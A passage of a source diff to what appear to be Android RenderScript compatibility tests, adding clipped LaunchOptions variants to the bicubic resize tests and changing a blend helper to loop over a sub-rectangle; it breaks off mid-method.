-        for (int i = 0; i < dst.length; i += 4) {
-            byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
-                    dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
-            dst[i] = rgba[0];
-            dst[i + 1] = rgba[1];
-            dst[i + 2] = rgba[2];
-            dst[i + 3] = rgba[3];
+    public String javaBlend(int type, byte[] src, byte[] dst, int xStart, int xEnd, int yStart, int yEnd, int width) {
+        for (int y = yStart; y < yEnd; y++) {
+            for (int x = xStart; x < xEnd; x++) {
+                int i = (y * width + x) * 4;
+                byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
+                        dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
+                dst[i] = rgba[0];
+                dst[i + 1] = rgba[1];
+                dst[i + 2] = rgba[2];
+                dst[i + 3] = rgba[3];
+            }
         }
         return func[type].name;
     }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index e542f37..a939db4 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -16,15 +16,24 @@
 
 package android.renderscript.cts;
 
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
 import android.renderscript.*;
 import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
 
 public class IntrinsicResize extends IntrinsicBase {
 
     static final int inX = 307;
     static final int inY = 157;
 
-    private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY) {
+  private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY, boolean useOpt) {
+
+        // The LaunchOptions tests are new tests added in T, so skip the tests if the vendor
+        // partition has an earlier version.
+        if (useOpt && !PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
 
         Element e = makeElement(dt, vecSize);
 
@@ -42,9 +51,14 @@
         mAllocRef = makeAllocation(outW, outH, e);
         mAllocDst = makeAllocation(outW, outH, e);
 
+        Script.LaunchOptions options = makeClipper(10, 8, 40, 46);
         ScriptIntrinsicResize si = ScriptIntrinsicResize.create(mRS);
         si.setInput(mAllocSrc);
-        si.forEach_bicubic(mAllocRef);
+        if (useOpt) {
+          si.forEach_bicubic(mAllocRef, options);
+        } else {
+          si.forEach_bicubic(mAllocRef);
+        }
 
         ScriptC_intrinsic_resize sr = new ScriptC_intrinsic_resize(mRS);
         sr.set_scaleX((float)w/outW);
@@ -52,44 +66,77 @@
         sr.set_gIn(mAllocSrc);
         sr.set_gWidthIn(w);
         sr.set_gHeightIn(h);
-        if (dt == Element.DataType.UNSIGNED_8) {
+        if (useOpt) {
+          if (dt == Element.DataType.UNSIGNED_8) {
             switch(vecSize) {
-            case 4:
+              case 4:
+                sr.forEach_bicubic_U4(mAllocDst, options);
+                break;
+              case 3:
+                sr.forEach_bicubic_U3(mAllocDst, options);
+                break;
+              case 2:
+                sr.forEach_bicubic_U2(mAllocDst, options);
+                break;
+              case 1:
+                sr.forEach_bicubic_U1(mAllocDst, options);
+                break;
+            }
+          } else {
+            switch(vecSize) {
+              case 4:
+                sr.forEach_bicubic_F4(mAllocDst, options);
+                break;
+              case 3:
+                sr.forEach_bicubic_F3(mAllocDst, options);
+                break;
+              case 2:
+                sr.forEach_bicubic_F2(mAllocDst, options);
+                break;
+              case 1:
+                sr.forEach_bicubic_F1(mAllocDst, options);
+                break;
+            }
+          }
+        } else {
+          if (dt == Element.DataType.UNSIGNED_8) {
+            switch(vecSize) {
+              case 4:
                 sr.forEach_bicubic_U4(mAllocDst);
                 break;
-            case 3:
+              case 3:
                 sr.forEach_bicubic_U3(mAllocDst);
                 break;
-            case 2:
+              case 2:
                 sr.forEach_bicubic_U2(mAllocDst);
                 break;
-            case 1:
+              case 1:
                 sr.forEach_bicubic_U1(mAllocDst);
                 break;
             }
-        } else {
+          } else {
             switch(vecSize) {
-            case 4:
+              case 4:
                 sr.forEach_bicubic_F4(mAllocDst);
                 break;
-            case 3:
+              case 3:
                 sr.forEach_bicubic_F3(mAllocDst);
                 break;
-            case 2:
+              case 2:
                 sr.forEach_bicubic_F2(mAllocDst);
                 break;
-            case 1:
+              case 1:
                 sr.forEach_bicubic_F1(mAllocDst);
                 break;
             }
+          }
         }
 
-
         mVerify.set_gAllowedIntError(1);
         mVerify.invoke_verify(mAllocRef, mAllocDst, mAllocSrc);
-        if (outW == w && outH == h) {
+        //when scale = 1 and we're copyin the entire input, check with the original.
+        if (outW == w && outH == h && !useOpt) {
             mVerify.set_gAllowedIntError(0);
-            //when scale = 1, check with the original.
             mVerify.invoke_verify(mAllocRef, mAllocSrc, mAllocSrc);
             mVerify.invoke_verify(mAllocDst, mAllocSrc, mAllocSrc);
         }
@@ -101,343 +148,764 @@
 
 
     public void test_U8_4_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_3_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_2_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_1_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_3_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_2_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_1_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
 
     public void test_F32_4_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_3_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_2_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_1_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_3_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_2_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_1_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
